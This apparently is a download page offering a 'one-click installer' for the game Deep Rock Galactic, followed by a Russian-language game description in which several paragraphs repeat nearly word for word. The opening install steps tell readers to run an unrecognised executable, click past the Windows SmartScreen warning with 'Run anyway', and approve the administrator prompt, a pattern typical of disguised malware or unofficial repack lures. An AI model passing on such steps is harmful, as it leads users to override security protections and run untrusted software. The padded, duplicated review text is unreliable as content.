- It is the Installer, not the software itself – Smaller, Faster, Convenient
- One-click installer – no manual setup
- The installer downloads the full Deep Rock Galactic для ПК.
How to Install
- Download and extract the ZIP file
- Open the extracted folder and run the installation file
- When Windows shows a blue “unrecognized app” window:
- Click More info → Run anyway
- Click Yes on User Account Control prompt
- Wait for automatic setup (~1 minute)
- Click on Start download
- After setup finishes, launch from desktop shortcut
- Enjoy
Введение
Когда я впервые по-настоящему увлекся Deep Rock Galactic, мне казалось, что я понял основы уже за первые несколько минут. Спуститься в шахту, добыть немного минералов, расстрелять несколько жуков и вернуться на станцию. Легко. А затем шахта изменилась.
Туннель, по которому я уже проходил, внезапно исчез, целый рой появился из места, которого я не мог видеть, и мы начали спорить, стоит ли вызывать спасательную капсулу или продолжать исследование. Именно тогда Deep Rock Galactic начала становиться для меня понятной. Это не просто шутер от первого лица с добавленной добычей ресурсов. Ландшафт, классы, цели, враги и командная работа постоянно взаимодействуют. А когда что-то идет не так, все обычно идет очень плохо.
Внутри Deep Rock Galactic
Deep Rock Galactic представляет собой многопользовательский шутер от первого лица, сосредоточенный на команде космических пилотов, выполняющих опасные шахтерские задания на Hoxxes IV. В игру можно играть в одиночку или совместно с четырьмя игроками, а случайно генерируемые пещеры можно полностью изменять с помощью копания и боя. Такая обстановка придает игре необычную, но эффективную индивидуальность.
Вы здесь для работы, но ваше рабочее место содержит огромные подземные пещеры, ценные минералы, опасных врагов, опасные растения и достаточно ресурсов, чтобы умереть ради них. В игре есть четыре отдельные класса, каждый из которых по-разному взаимодействует с пещерами, а их снаряжение становится значительно полезнее, если работать вместе как команда, а не относиться к каждому классу как к отдельному солдату. Классы называются scout, gunner, engineer и driller.
Вы здесь для работы, но ваше рабочее место содержит огромные подземные пещеры, ценные минералы, опасных врагов, опасные растения и достаточно ресурсов, чтобы умереть ради них.
В игре есть четыре отдельные класса, каждый из которых по-разному взаимодействует с пещерами, а их снаряжение становится значительно полезнее, если работать вместе как команда, а не относиться к каждому классу как к отдельному солдату. Классы называются scout, gunner, engineer и driller. Gunner является хорошо вооруженным защитным бойцом поддержки, engineer способен размещать автоматические турели и создавать конструкции, driller может прокладывать туннели через камень, а scout обладает высокой мобильностью, может добираться до недоступных в обычных условиях мест и освещать темные участки сигнальными ракетами. Основная работа заключается в прохождении этих случайно генерируемых пещер.
Две экспедиции никогда не будут полностью одинаковыми, поскольку одна может проходить через узкие туннели, а другая может вывести в огромную пещеру, где цель находится высоко над землей.
Именно здесь особенно заметна полезность scout, поскольку он может быстро добраться до сложных участков с помощью крюка и осветить потолки, чтобы обнаружить угрозы и дать остальным участникам команды хороший обзор. Gunner лучше всего работает со щитом и мощным оружием. Engineer создает сложные конструкции с турелями и платформами, которые помогают преодолевать разрывы в пещерах.
Driller может пробивать каменные стены, создавая короткие пути и устраняя препятствия. И да, иногда бур является решением. Возможность пробиваться сквозь камень позволяет превратить хорошую идею в отличную, а игра поощряет использование разных классов для поиска различных подходов.
Четыре класса дают командам очевидную причину работать вместе, а пещеры и разрушаемый ландшафт создают динамичное приключение.
Даже если вы быстро освоите все основные элементы, всегда остается возможность использовать другой подход, выбрать другую линию атаки, столкнуться с другим набором врагов или попасть в странную пещеру из последней экспедиции.
Игровой процесс
Игра начинается на космической платформе, где каждый игрок выбирает класс, настраивает свое снаряжение и выбирает миссию. После высадки необходимо выполнить цель, которая может заключаться в добыче определенного ресурса, уничтожении конкретной цели или доставке оборудования, после чего нужно добраться до точки эвакуации. Сами пещеры являются важной частью игрового процесса, поскольку их планировка никогда не бывает полностью одинаковой благодаря процедурной генерации.
Одна экспедиция может привести через длинные коридоры и узкие туннели к цели, а другая может привести в огромную пещеру, где цель расположена высоко над землей.
Именно тогда вы начинаете видеть ценность разных классов, поскольку scout может быстро добраться до любого уголка пещеры с помощью крюка, а затем осветить область сверху, расчистив путь для команды. Gunner может уничтожать рой врагов мощным оружием и защищать выход с помощью щита. Engineer может устанавливать мощные турели и создавать конструкции, помогающие всем добраться туда, куда нужно.
Driller способен создавать туннели через камень, чтобы вся команда могла проходить значительно легче. Иногда бур является ответом. Создание туннелей под землей помогает перемещаться по игровым мирам и может приводить к интересным механикам и стратегиям.
Четыре класса создают понятную причину для совместной работы команды, но игра всегда готовит что-то новое, а исследование динамически генерируемых пещер помогает сохранять свежесть впечатлений.
Даже после того, как вы освоитесь с происходящим, всегда найдется новое место, другой способ мыслить и новая игра, которую можно начать.
Основные особенности
- Кооперативный шутер от первого лица для 1 до 4 игроков
- Четыре игровых класса с уникальными стратегиями
- Scout специализируется на исследовании, скорости и освещении
- Gunner специализируется на тяжелом оружии и защите
- Engineer специализируется на автоматических устройствах и строительстве на местности
- Driller специализируется на прокладывании туннелей под землей
- Пещеры генерируются случайным образом, поэтому каждая новая экспедиция отличается от предыдущей
- Уровни игры полностью разрушаемы, поэтому можно создавать новые короткие пути, альтернативные маршруты и безопасные места
- Пещеры имеют разные окружения
- Игроки столкнутся с различными типами врагов
- Добыча минералов и раскопки происходят на протяжении всей игры
- После завершения каждой игры открывается новое оборудование и навыки
- Гномов можно настраивать с помощью большого количества косметических предметов
- В игре есть сезонные обновления с новым контентом
- В Steam доступны достижения
- В игру можно играть с контроллером
Почему игра по-прежнему интересна
Хотя с обычной атакой врагов легко справиться, появление роя в огромной пещере с плохой видимостью является совсем другой историей. Внезапно engineer должен создавать стены, scout должен искать рой с помощью сигнального оружия, а остальные участники команды должны экипировать щиты и подготовить взрывчатку. У каждого класса есть своя роль, но это не означает, что все игры проходят гладко.
Если что-то и делает игру особенно интересной, то именно это, ведь игрокам приходится общаться и импровизировать.
Иногда все разделяются и попадают в плен, а иногда группа оказывается в тесном пространстве и вынуждена проверять свои ресурсы. Здесь игра раскрывается лучше всего, а универсальность игрового мира позволяет некоторым классам проявить себя, расчищая длинные коридоры, до которых другие классы не могут добраться. Создавать туннели с driller тоже очень весело, а повторное прохождение уровней с разными классами и снаряжением всегда интересно.
В целом игра предлагает впечатления, которые лучше всего раскрываются при участии трех или четырех игроков, где четыре класса служат основой для сравнения, а разные системы пещер помогают создавать новые и неожиданные ситуации.